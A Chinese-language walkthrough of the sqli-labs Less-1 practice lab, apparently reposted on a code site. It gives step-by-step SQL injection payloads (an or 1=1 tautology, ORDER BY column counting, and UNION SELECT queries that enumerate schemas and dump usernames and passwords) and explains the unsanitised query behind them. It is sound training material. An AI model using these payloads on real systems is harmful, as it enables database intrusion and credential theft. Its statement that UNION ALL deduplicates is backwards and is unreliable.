Sqli-labs less 1


Less-1

我們可以在http://127.0.0.1/sqllib/Less-5/?id=1后面直接添加一個 ' ,來看一下效果:

從上述錯誤當中,我們可以看到提交到sql中的1'在經過sql語句構造后形成 '1'' LIMIT 0,1,多加了一個 ' 。這種方式就是從錯誤信息中得到我們所需要的信息,那我們接下來想如何將多余的 ' 去掉呢?

嘗試 'or 1=1--+

此時構造的sql語句就成了

Select ****** where id='1'or 1=1--+' LIMIT 0,1

可以看到正常返回數據。

此處可以利用order by。Order by 對前面的數據進行排序,這里有三列數據,我們就只能用order by 3,超過3就會報錯。

'order by 4--+的結果顯示結果超出。

最后從源代碼中分析下為什么會造成注入?

Sql語句為$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Id參數在拼接sql語句時,未對id進行任何的過濾等操作,所以當提交 'or 1=1--+,直接構造的sql語句就是

SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1

這條語句因or 1=1 所以為永恆真。

 

 

此外,此處介紹union聯合注入,union的作用是將兩個sql語句進行聯合。Union可以從下面的例子中可以看出,強調一點:union前后的兩個sql語句的選擇列數要相同才可以。Union all與union 的區別是增加了去重的功能。我們這里根據上述background的知識,進行information_schema 知識的應用。

http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+

當id的數據在數據庫中不存在時,(此時我們可以id=-1,兩個sql語句進行聯合操作時,當前一個語句選擇的內容為空,我們這里就將后面的語句的內容顯示出來)此處前台頁面返回了我們構造的union 的數據。

爆數據庫

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

 

爆security數據庫的數據表

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

 

爆users表的列

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

 

 

爆數據

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

此時的sql語句為SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=2--+ LIMIT 0,1

 

 

Less1-less4都可以利用上述union操作進行注入。下面就不進行贅述了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM